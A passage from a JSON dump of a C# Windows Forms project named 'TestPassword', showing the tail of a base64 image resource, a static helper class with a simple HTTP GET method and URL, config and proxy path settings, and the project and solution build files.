wT/+JWgP65yAQhqZSvyj8TqnTduZyqXQx4/ptTe48HTBnJml4Lvlir6fRVGkNmlb0KbtenGXBt+Q9p+w\n        OSnlE5C0zUzIWAAScYCOKzt8gdAy4CjSjAPU++H9jxRrNujlrouNudFjWwXHf0Jw898VdXXF7ZqkCkIp\n        IAR0dcP0KYLZMxLjkBWDcyi22J9s4xbtAZr5M4NgbG5JV8eVHZB5/x+yEIDw1gUq0Nom7L7GY2gBSMuj\n        r/HAjl54+lXFpHGi6F82JL2AEw4TPPYsbOtwh9VSicZ0zOKMYwRej/b5VSncvGFiPkIxvdBUNtpld9O4\n        JGNzSwAcNpkRWSUCxWOJEM09wA9IhmyGvG6vB55/Q3HuCXrvYncDnF7AyUcIbvybos4qzroFpYgQsDMC\n        R+4vOOogu49M8Z+UlYbJjfngI5XOAqnOW3A/9LHJjMhKAMxYYyQcXO4LhLaQZoUgpfTT9e0PFO+sUew9\n        qTRGA4wIfeoYybOvW7zxnjulFkgs6T6iAc46Qbv+xRbsSsQZvHx3raKuJu3+/6ZIOLgcMh//N2QlACmu\n        xm3AN+gb0+0XhU4I6gjDkn9b7D3JUxJPWlOZ1V8n+Pypgh/+VhHp0RN5qlkEYnFdXuycEyT77GFPOS+B\n        +1WprP5IsaMzrS6osbXbzYZs3H/Ifi6AM+XwDrQAmEm1Q04P9vvg2Tfggi5FoL5Enir2+Q+cJjljLtz8\n        kEVNTfV2BaSA9m44cG/BZ48t3vBYNWC+15fe1gvWNAcGLVenSNrtHZB5+q+TrAXAUjplORIOLvMFQpuA\n        MaTZDWiwC2U89qzijLml0Q2A5I04+3jBG6sEL76taG0a1oqtZYkU0NmtXf8LT5fU1ZaISFcopv+/fJVK\n        JwPQmMuGSDi4DJK2mA1ZC0CKy/EX4HIysOPaGnjk34oz5ipkCeQEAInZeXW1gsvOlXz7OouN24a5UkuZ\n        IQREevXn/eqZkmmTRWK7S+4x7b5jp+K1d9Oq6WDuxK1mQ7buPwxDAAD8Tdd4ujsWxoG7SQpAWl5AoAHe\n        Wa149BnFcYeVjhdgGvqEMYJvnC1YfJOis1svDV3pIiDQQ369vfC5UyTHzc5f7TuXvjz/hmJ7B4waMWg7\n        c96K+6CPDWbFsATAUyOc3YBVwBTSbC8SXYrr7icUx33CTiktAS/AySHTJRecDL+/16KnF+qGHp4pWwS6\n        PmJXN5xypOD8k4ubE18tmO926QsqkbachgCsMu6/scFsGZYApLgevwd+TJpJQUpBQwOsWK24d6nFGXNl\n        STa0U4+SdPXAzX+3iPSSzhht2SGEfvLvjMC8WYKLP6uTOl3jzy9mrsLq9YpX3lF6afDB25axrV+bDcNx\n        /2GYAgDOCQjiz6B+iE5PTNsL8NfBnUsUx84uoRGBFM46TmJZdvWdiB7FqBQRMMbfHYF5hwquOE9S43WN\n        vxCYEabHnlXs7IbRIwYNOBubikmPvBmym/yTyrAFwFyAvWzYPeg1A4acGwB2LKAePtyk+PMDFhef5Sm5\n        RmcM4ZwTPPhqLW59yGJnd55XFioQpghGTy+cOEdw8Xw34l8ozHe8I6x4/HlLT0Ib/C3Gpu41c/+Ha/yQ\n        AwEAhxIJcR1KzSfNKcKgJzyMaIR7lio+sb/FgdNkwjUqBYQjNnHGXMnokfDruyw2bIGmJrskUhl6A1Lq\n        oT5lwfmnSLfPX2DMd/zAMsX6zTBq5JDtyGO/8TrIzdMfciQAidTgzkVLfYHQm8B00sgMBK16tV7oAq67\n        XXHdN1XJPYWcIjBnpmRsq+Dnf7F46309bFNOwUEhIG5BZxga/IKvzxfJaH8JfeeVTOLp36F46GkrnXJ0\n        xpbejHQuWgrZp/6mkhMBSJkh+DN0kCLtmh+W0pVuVq5V/PJ2i4Xnl15XQIhkJ2zqRMGPvyG58T6LR/+t\n        6NiphzVL3RuQArp69HTTA/YSfPlTyXF+1/gLh/meb3tEsX7LkH1/SNrSzyD7mX/9kfOFpITH+zsVjy0G\n        mshgCNmyoKVZu0Qfn2xx8pxi1wzalcQHURCoF/zHuZID9lbc9IBi7UY9i6sU5w84A30N9fDZYyWfPU4X\n        IgXX+AuJ6d6+/6HiwactnWQ2xFvQAtDhrfP+lnBurydnAmAUqbt9geULhH6OLhueUbPyeqCxAX5xm8XU\n        iYK9J4k0OxIFJuENCI4+WDB9suIvD1ssfUFP5vDX6W5BntceHfoyhZ7Q092j/z97huDs4yXT97Rviy3P\n        rvEXBpWIbSluuNOiOwItQ6eam9b/c2NjuXr6Q449AEdg4lqS6wak7QUoBf5aXW/u29fF+c23PHoVnRIU\n        AUGy0OToFu0NfHIW/P2fFv96VWd1+eu0RwCF8wqMMfdGdVVhKWCvSYJPHSOYNyv5JbpP/cLjXMrt2eWK\n        0SOHNH6n7VwLuQv+Ja5JDdEyT7tkQVYH9gVCNwEXkEUmqUfCpu2w53jBDd+SeD2ipEYGUulrTIrXV8J9\n        Sy1eX6nLoEuphaDPyr058g6cRhyL6yG93qhOWNpvquDEw3XBS7Msu6nmW6JfZeViP8TeWaNY2BZHiIyS\n        yv4YCQcvzOa091/fNujrOY8BOBTqu2gBSLtakCFuwZiRsGqdYmGbxbVX2nUDSjQpve8SX4IZU2HGVA9r\n        Nij+9arFv16FD9YrdnZqEautAa+3b4XaXTANY5DPG1cQi2qDj8X08XYfLThoH8HhM+HAaSJ5AFXEgpdV\n        jqX0Q6C7R/H//qDTykc2ZvT0/y7k/ukPefQAAHyB0K+Br2V9AAmbtsKsfQU/udzTp9RzqdLfWn89vYo3\n        31O8+i68ukKxfouio0vX/ZdCL0jhkbqRCNHP51Pa2C1Li6MV19+D16OzEncfJdj7YzBzH8H+U0Vi8dGB\n        rselcDi9wx/9Ls7jzylGt2SURParSDh4SbbnL7gHAH3Sg38I6stkkB7cBwt2a9Uzpa68Nk7oct0dKMWY\n        gMFpaObm19UKDpwmOHAaxE5WfLRZ13774CNdF2HzdmgPQ3dEEY1pI4/bZbiF0Ibu80K9X1Dvg7GtsNso\n        mDxeMHl3wfgxJCL6fc6Na/jFxGn8191u8eizilEj0jJ+YytRED+G/Dz9Ic8eAIAvELoGGN5BJGzdBjP2\n        0uPvDX67P0tJ9gh2YfCnsF6WrCMM4W4tAl292qUXaM/AXyfw+/S6gn6fDi7298ndp33p4DT+P95vceN9\n        FqNGZLz8XFskHFw4nOsoigcAScXy1HiuikfjFwN+srVZC0a36Iopl/4/ix9cLBNlxcshmp3qFfTdLvB6\n        dA5ES7P+f7qkHqvUv4dqwdlNdRq/V6YV+DU20g38H+Tv6Q8F8AAAfIHQAuCa4R5HSr2Ud6AeFp4vmTPT\n        ltNycQUGINMhQtfQSxhHW/zN3XFuflC7/V5Pxvd5YSQcHPzxnQZDeQB5FQBnyqIvEFqJLhgyrB68FNAZ\n        0dHvz3xSctF8mVz0sQy8AZfKxNn2enoVoT9ZLHlO0dKc9pMfkraxIhIOToPhp/0WrQsAu8wRuBx4gGGG\n        7yyly3NFvXD7IxbLVyoWXiCZPF4kynu7w10uhcTp8q/ZoLjqRosVqxWtI5KLp6aJqb1+OeQ2538gCtIF\n        MPgCoSfRS4kN22kX9mBAR6dOspk/T3LBqUlvoNSHC13Kn1SP89FnLG6426JzJ4xsyrhehLGJpZFwcG6u\n        rrGoHoDBUbjwUuB1skgOSsUMc41o1FVsf3+fxdOvKD5/qmDOTJkwfstKll12cckFStl5/Xa72tGhuO4O\n        i8eeVTT4h2X8AJdBfgN/TgrqAQD4AqGrgG/m8pgmAt4e1hVtDztAcO6Jkv2mJPXFcsfFXYaJsruXSc9S\n        ce8Tilsesti8HVrtYb5hzPv4USQc/E4urtVQ1CCgkwECgjlFCr2OfXtY34QjZgrmHyuZMbWv1Vu26+Zq\n        gUs6WMrunDsazJMvWtz6kOKtDxTNAb2c1zBLxK2KhINTIbd9/5LoAsAuAcEvAU/aL+VsEM/0+1ub9cSY\n        f76s+OfLcQ7+uODUIwVzZurlrRMK7pyQ4wqCi00iocr+x9lelr1scedjuopvg09nZCqVtfE72/4XoDCB\n        PycF7wIYfIHQ9cDFeTm4jZRaCDrDepHLPXYXHH4AHHWgZO89RL859/19G263oTJJbfp93fvk1o+2wOPP\n        KR5/XvHeOkVtLTQFdH57jpaNG1a+/2CUjAdgcAQ3Lgc+DYzL17ksS9/QkU36/xu3KW59CG5/JM6UCYKP\n        7wlzZgr2mmBPoBnKCyixSj8uWWLf5FRhN/+NxRUfboJnlytefFPx1vuKHWG9puWolqTh5yhC9xHaFgr+\n        9IciegAAvkBoDvCU/d+85/OZYGE0Bju79G+EXo116kTBxLEwaZxg2h6C1pFQXwf1fl35x6XSUCgl6Iro\n        peDXbFKseF8v0vHeOj1ZKxoDIfUcDFP4NUeFXZxt/fBIOPhMTo7aDyXnATiJhINP+wKhH5FF+bBsMDfQ\n        I6G5MTmPP9IDr72jeP4N8HoUNV7weGBEo6ClSQtEoF5PwvEIgZSuK1CuRON62Lhzpw4Wb+uAHZ2KWEx3\n        E5XSeSUN9bqAi8Cegp3bATnT1n+UT+NPh6IJgHF3IuHgd3yB0GnAARQwq9+p5nW1epadQLt2sbi+6e1h\n        xZYdjnn4FgzlMbmUNkLo2JDHrsNQ44UaD9TVQZNIPhSGEdgbCtPGXzZDfsVw/Q1FE4CUDzwfeJccJAhl\n        i/Nme6TO30bop76JBrtUEM6Ar/13Dl38Qc6aaElnmo3FMn4ochfAEAkHV/oCoS+jFxgtieJfKvFP379d\n        XLIk0aalR36hq/3K94t8PUCJCABAJBy80RcI7Y+OiLrPW5dKw7Tptq72K28q6pU4KAkBcMQDrvAFQgcD\n        RxT7mlxc8sAyU+GnmP1+JyUhAClfxInAB8Co4lyNi0tOMa7/FuBks7EUjB9KRACcRMLBnb5A6ATgRXtT\n        CZcAdXEZFGfbPSESDu4s5sX0R8kJAEAkHHzJFwidA9yGveYmblzApbxQJI1/fiQcfKmYFzMQJSkAAJFw\n        8K++QGhP4Me4xu9SXjgfWP8TCQfvKubFDEZJCoAjKHiVLxCaSJ4nDbm45Bhj/L+MhINXQekE/VIpSQFw\n        Th2OhIOX+AKhCcBpxb4uF5cMuD8SDl4GpWv8UKICAFoEzMzBSDh4ui8Qehg4vtjX5eKSBo9EwsHTQc9+\n        DW/Nf2mvbClZAQBw1kSLhIMn+AKhp4HDi3hJLi5D8VQkHDzB/KcQdf2GQ0kLQCreOu8RsZ7YcmB6sa/F\n        xaUf3oyEg0cW+yIyoWwEwPSjfIHQLGA5sEeRL8nFxckHwCwo7T5/KmUjAOYLtROFpgMv4HoCLqXBq8Bh\n        kXCwG0onyy8dykYAnETCwW5/0zX7Kyv+NDC72NfjUtX8S3i8R5Z6X38gylIAAOyFRj7hC4QeA+bZm92M\n        QZd842xjSyLh4LHFvJjhUrYCYIiEg8c6hghLopaAS8XibFsPRcLBkwfbuRwoewGAxBDhb4Gv4Bq/S/4w\n        bStvZbwLTUUIAEAkHPyqLxB6Dz13wMUllzif/MFIOLi4mBeTSypCAFLmDrwJ3Fvsa3KpKIzxnxEJB++D\n        8hrqG4yKEICUuQP3+ZsWz1SWeoxkURE3LuCSKc42swWYGwkHl0PlGD9UiABA37HX7o5Fr/oCod2BR4Bj\n        sCt+4xYWcUkPZ1tZChwfCQej5sVKMX6oIAFIxb5hc32B0E/RhUZd43dJF9NW2kwNv0qlYgXAYBcafQ1d\n        ctzgdglcUunTJuzS3SVTvTdfVLQAOOICN/oCix8B9QB6BSLX+F1SMW3iVRCndrVfuQ4qq7/fHxUtAH2D\n        g4vWATN9gdAP0WsRGlxvoHpJvfc/Mst1QeUbP1S4AMCuARt7LcIHgQeAFlzjr2bMvd8GnBwJB591vljp\n        xg9VIABOHF2CZ3yB0Djgl8DXHLu43kDlk3qPfwN8w0T5q+Gp76SqBMB5Y+0bfpEvEPoj8GdgCu5cgkrH\n        eW9XAF+oxqe+k6oSACeOeoPPAFMdsQHTQNy8gcrB3Etzb78fCQe/Z140baEYF1ZsqlYAutsXWE53LxIO\n        fsffuPhmpdRvgKNIGr8rBOWLuXfm/i0RQlza3blohdnBbgNVafxQxQIASXfPCIHdMI72NS6eh1I3ApNw\n        haAcSTX8VQhxUaRz0RKzg7nn1ebyp1LVAmAwjSDRLdAN5WO+QGgRELJ3M43JjRGULubeOIW6z+w9c4+r\n        3fANQqnBv4fTLllQoEspDVKjwA0jrxkVj8b/G7iCvg3LFYLSIfVexICfe2o8V+3cvnALVF9033D/9W2D\n        vu56ACmkdgvsBrTQFwiFgB+QHDZ0g4XFJzW4B3po90eRcHCj2VCtxp8OrgcwBKkRYl8gNBZYDFyQsmsc\n        8BQEhnADAAADd0lEQVTy2qqY/r7rPwOLnIZfzdF9w1AegCsAaZLamOqbrm6yLGsB8J9AU8rurleQe/r7\n        TrcBP5VS/qyr48oOs9E1/CSuAOSY/hqXLxD6EvA/6GQiJxbaPXVjBdmh7J9Uw18F/DgSDt7o3Oga/q64\n        ApAnBhCCw9BLmc8H/I6XTEN2xWBoBvquuoE70QU5n3G+wTX8gXEFIM/0F2DyBUItwLnAZcA+KW9xxWBX\n        BvtO3gSuB/4SCQe3OV9wg3tD4wpAgQi0tol4DDGAV3Ay8Hl0YlEqMfomrVQLlv3T30jUGuAm4MH+nvYe\n        L1WfwJMurgAUgYFcUl8gdBB67YKz0VORU1Ek4waVJggWyf58f57PNuBW4A+RcPCl1BddNz87XAEoMv6m\n        azz2MmZ98AVCk9GxgrnAcQyckxEnaTDlIgrGUBUDD43GgEeBJ4A7I+Hg+6k7DPTduaSPKwAlQqC1TcSj\n        Sg4gBn700mYnAPsCh9I3iJiK80koBvg7n6gB/h5MoDqA54F3gIeBR8xquk78Tdd4PDXCTdXNEa4AlCAm\n        XuCtQXZuWRBLfd0OIu6H9gyOQq9vsBdQM8Shzc003Qgn2YhDqqEbAx/qWFHgXXQ9/WXAo1LKV5xj9YbG\n        UW3eWBTL7dfnBzcVuASxG7rp7zNyXJuMdOspygB2tHuZ/QOALxCahBB7gjgAZR0GzAQawTMCKert3QSW\n        AuK5ykhMMXQPSMcmS3VBfAewA3gFIZ8D9SpKvRcJB9cMdFB/c5v0+WH7hgVWfwLoUjhcD6AEGTmuTcZj\n        iI4tC4bs/9Y3Xd2kUJOFEJO8NXIvy2JiLM4o4rExwGj942lBCp/9lqHiCLp7YakIxLcBm4HNeLybvB62\n        SMnaWNR6Vym1RiDe7++pnkrTqDaPx4vavsEN4hUa1wMoQ1INJdDaJmpqEPGYfiI7hcE2wFftn0EZOa5N\n        xuPUxXqsGuERtcpSNQBCiqiKq15vnYx6PPRka6hNo9o8AB4vKhpNuvTpCJlLcXAFoAxwdBkSBFrbEr54\n        TQ0iFtNP9sFcatuwu+2frGgc1eYF8HqxotHkNYW3LlCuoZcfrgCUKSkBs0Q8wYlTJJzU1PQfxHMa9EDn\n        cvvslcWQMQAXF5fKxfUAXFyqGFcAXFyqGFcAXFyqGFcAXFyqGFcAXFyqGFcAXFyqGFcAXFyqmP8PdyBm\n        m10LB/oAAAAASUVORK5CYII=\n</value>\n  </data>\n</root>"
  },
  {
    "path": "TestPassword V1.8.1.1/TestPassword/StaticClass.cs",
    "content": "﻿using System;\nusing System.IO;\nusing System.Net;\nusing System.Text;\n\nnamespace zgcwkj\n{\n    /// <summary>\n    /// 静态类\n    /// </summary>\n    public static class StaticClass\n    {\n        #region 静态字符串\n\n        /// <summary>\n        /// 线程状态\n        /// false 为 线程通畅\n        /// true  为 线程阻塞，就是线程要停止了\n        /// </summary>\n        public static bool status { get; set; }\n\n        /// <summary>\n        /// 目标连接\n        /// </summary>\n        public static string url { get; set; }\n\n        /// <summary>\n        /// 项目的路径\n        /// </summary>\n        public static string file { get; set; }\n\n        /// <summary>\n        /// 配置文件的路径\n        /// </summary>\n        public static string config { get; set; }\n\n        /// <summary>\n        /// 代理文件的路径\n        /// </summary>\n        public static string proxy { get; set; }\n\n        #endregion 静态字符串\n\n        #region 静态方法\n\n        /// <summary>\n        /// Get请求\n        /// </summary>\n        public static string HttpGet(string Url)\n        {\n            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);\n            request.Method = \"GET\";\n            request.ContentType = \"text/html;charset=UTF-8\";\n\n            try\n            {\n                HttpWebResponse response = (HttpWebResponse)request.GetResponse();\n                StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);\n                string retString = myStreamReader.ReadToEnd();\n                myStreamReader.Close();\n                return retString;\n            }\n            catch (Exception e)\n            {\n                return e.Message;\n            }\n        }\n\n        #endregion 静态方法\n    }\n}"
  },
  {
    "path": "TestPassword V1.8.1.1/TestPassword/TestPassword.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"14.0\" DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\n  <PropertyGroup>\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\n    <ProjectGuid>{AC42684F-60E0-464C-881D-B679DA8D8A7B}</ProjectGuid>\n    <OutputType>WinExe</OutputType>\n    <AppDesignerFolder>Properties</AppDesignerFolder>\n    <RootNamespace>zgcwkj</RootNamespace>\n    <AssemblyName>TestPassword</AssemblyName>\n    <TargetFrameworkVersion>v4.0</TargetFrameworkVersion>\n    <FileAlignment>512</FileAlignment>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n    <PlatformTarget>AnyCPU</PlatformTarget>\n    <DebugSymbols>true</DebugSymbols>\n    <DebugType>full</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>bin\\Debug\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\n    <PlatformTarget>AnyCPU</PlatformTarget>\n    <DebugType>pdbonly</DebugType>\n    <Optimize>true</Optimize>\n    <OutputPath>bin\\Release\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <PropertyGroup>\n    <ApplicationIcon>ico.ico</ApplicationIcon>\n  </PropertyGroup>\n  <ItemGroup>\n    <Reference Include=\"System\" />\n    <Reference Include=\"System.Core\" />\n    <Reference Include=\"System.Xml.Linq\" />\n    <Reference Include=\"System.Data.DataSetExtensions\" />\n    <Reference Include=\"Microsoft.CSharp\" />\n    <Reference Include=\"System.Data\" />\n    <Reference Include=\"System.Deployment\" />\n    <Reference Include=\"System.Drawing\" />\n    <Reference Include=\"System.Windows.Forms\" />\n    <Reference Include=\"System.Xml\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Compile Include=\"HttpTest.cs\" />\n    <Compile Include=\"Hash.cs\" />\n    <Compile Include=\"HttpThread.cs\" />\n    <Compile Include=\"Main.cs\">\n      <SubType>Form</SubType>\n    </Compile>\n    <Compile Include=\"Main.Designer.cs\">\n      <DependentUpon>Main.cs</DependentUpon>\n    </Compile>\n    <Compile Include=\"Program.cs\" />\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\n    <Compile Include=\"StaticClass.cs\" />\n    <EmbeddedResource Include=\"Main.resx\">\n      <DependentUpon>Main.cs</DependentUpon>\n    </EmbeddedResource>\n    <EmbeddedResource Include=\"Properties\\Resources.resx\">\n      <Generator>ResXFileCodeGenerator</Generator>\n      <LastGenOutput>Resources.Designer.cs</LastGenOutput>\n      <SubType>Designer</SubType>\n    </EmbeddedResource>\n    <Compile Include=\"Properties\\Resources.Designer.cs\">\n      <AutoGen>True</AutoGen>\n      <DependentUpon>Resources.resx</DependentUpon>\n      <DesignTime>True</DesignTime>\n    </Compile>\n    <None Include=\"Properties\\Settings.settings\">\n      <Generator>SettingsSingleFileGenerator</Generator>\n      <LastGenOutput>Settings.Designer.cs</LastGenOutput>\n    </None>\n    <Compile Include=\"Properties\\Settings.Designer.cs\">\n      <AutoGen>True</AutoGen>\n      <DependentUpon>Settings.settings</DependentUpon>\n      <DesignTimeSharedInput>True</DesignTimeSharedInput>\n    </Compile>\n  </ItemGroup>\n  <ItemGroup>\n    <Content Include=\"ico.ico\" />\n  </ItemGroup>\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n  <!-- To modify your build process, add your task inside one of the targets below and uncomment it. \n       Other similar extension points exist, see Microsoft.Common.targets.\n  <Target Name=\"BeforeBuild\">\n  </Target>\n  <Target Name=\"AfterBuild\">\n  </Target>\n  -->\n</Project>"
  },
  {
    "path": "TestPassword V1.8.1.1/TestPassword.sln",
    "content": "﻿\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio 14\nVisualStudioVersion = 14.0.23107.0\nMinimumVisualStudioVersion = 10.0.40219.1\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"TestPassword\", \"TestPassword\\TestPassword.csproj\", \"{AC42684F-60E0-464C-881D-B679DA8D8A7B}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|Any CPU = Debug|Any CPU\n\t\tRelease|Any CPU = Release|Any CPU\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.Build.0 = Release|Any CPU\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\nEndGlobal\n"
  }
]